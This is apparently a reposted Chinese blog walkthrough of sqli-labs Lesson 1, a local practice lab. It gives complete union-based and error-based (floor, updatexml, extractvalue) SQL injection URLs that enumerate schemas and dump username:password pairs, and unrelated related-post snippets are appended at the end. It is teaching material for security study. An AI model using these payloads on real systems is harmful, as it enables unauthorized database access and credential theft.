sqli-labs(1)
0x01字符注入
今天是第一天的学习sqli-labs
Lesson1:字符型注入
首先测试一下 ' 发现报错 然后 ''发现 不报错 这种大概率就是字符注入了
接下来我们进行列查询 查询语句
http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23
发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句
查看当前数据库名称
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23
查看所有数据库名称
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23
接下来数据库名称得到以后我们要进行获取表名 操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功
对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23
可以看见里面有username password这些关键字 我们就可以爆字段了
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23
成功爆出字段usernamepassword字段名 0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
0x02手工报错型注入
既然讲到这里 我们就来讲一下报错类型有些什么?
以下学习来自https://blog.csdn.net/weixin_42277564/article/details/80635586这个大佬
1、通过floor报错
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
注:输出字符长度限制为64个字符
payload填sql语句
2、通过updatexml报错
and updatexml(1,payload,1)and updatexml(1,concat(0x7e,@@version,0x7e),1)注:输出字符有长度限制,最长32位
3、通过ExtractValue报错
and extractvalue(1, payload)and extractv注:输出字符有长度限制,最长32位alue(1, concat(0x7e,@@version,0x7e))
我们简单的了解了报错型手工注入之后我们来进行实战
先要检查报错类型的payload
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23 ///并未报错 http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23 ///报错了
证明确实存在手工报错型注入,
爆表的payload 这里我们运用的是上面的报错的方法的第二种
127.0.0.1/sql1/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23
可以看见成功爆出表名 接下来我们进行列名的爆破
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23
这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23
接下里就是爆值的操作
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23
同样使用not in显示其他值
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23
sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿
切记 少就是多 快就是慢哦~~
转载于:https://www.cnblogs.com/-zhong/p/10877728.html
sqli-labs(1)相关推荐
- 深入Managed DirectX9(四)
选择正确的Device The number of possible permutations when cretion a device is quite staggering. 如今,市场里有大量 ...
- 元宇宙中的手势交互(四)第一款主流VR头显中的手势交互原理剖析(Meta Quest 2)
简介 随着Facebook正式改名为Meta,元宇宙的概念也一夜之间在世界范围内被点燃.相应的,Quest2也正式改名为Meta Quest2.马克·扎克伯格在2020年底的时候说,一款VR头显成为主 ...
- R语言ggplot2可视化:ggplot2可视化使用labs函数为可视化图像添加(caption)图片说明文字、theme_bw中指定参数base_size来改变图片说明文字、轴标签等的大小
R语言ggplot2可视化:ggplot2可视化使用labs函数为可视化图像添加(caption)图片说明文字.theme_bw中指定参数base_size来改变图片说明文字.轴标签等的大小 目录
- PrimeTime Labs学习笔记(一)
// 本文对应PrimeTime2018.06 Lab1的学习 使用list_key_bindings命令来显示快捷键设置. 使用page_on/page_off命令来切换屏幕显示的效果(直接全部显示 ...
- 11月23日云栖精选夜读:阿里AI Labs王刚解读9小时卖出百万台的“天猫精灵” | 高山大学(GASA)
11月14日的高山大学(GASA)思享课II期,阿里巴巴人工智能实验室首席科学家王刚教授为在场学员解读了"天猫精灵"这款产品以及阿里巴巴在人机交互上的突破,同时还就商业变现.与阿里 ...
- OK Labs公司的故事(1):从头开始
译至:http://microkerneldude.wordpress.com/2014/08/29/ok-labs-story-1-the-beginning/ 译者注:seL4背景的补充材料 上周 ...
- Windows Print Spooler 远程代码执行漏洞(CVE-2021-1675)
点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 微软在2021年6月的安全更 ...
- Windows Print Spooler 远程代码执行漏洞(CVE-2021-34527)
点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 360漏洞云监测到微软最新披 ...
- SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
- SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
最新文章
- 2022-2028年中国公路客运行业市场研究及前瞻分析报告
- 图形显卡_显卡缺货?专业图形卡主机方案演示,Quadro P2200
- php动态网页转换成html,怎么把动态的php文件转换成静态的html文件,html文件是php文件…...
- [YTU]_2432 (C++习题 对象数组输入与输出)
- 数据结构—分别用头插法和尾插法建立单链表
- Spring Boot Web Slice测试–示例
- 3.5用户访问使用HTTPS
- 详解Python正则表达式基础操作
- vscode中如何修改vetur配置_vscode vetur插件配置不换行
- c语言sinx的幂级数展开式,sinx的幂级数展开式问题?
- 基于帧差法和背景差分法的背景提取及检测模型
- M1芯片MacBook安装手机app
- Activity初窥门径
- AlphaGo之父戴密斯·哈萨比斯:是天才,也是生活里的普通人
- NDN新增tag的方案
- 【Java SE系列】抽象类与接口
- localhost与ip的区别
- 人工智能学习梳理和总结
- MATLAB 数据分析方法(第2版)2.3 数据变换
- 新劳动法年假计算工具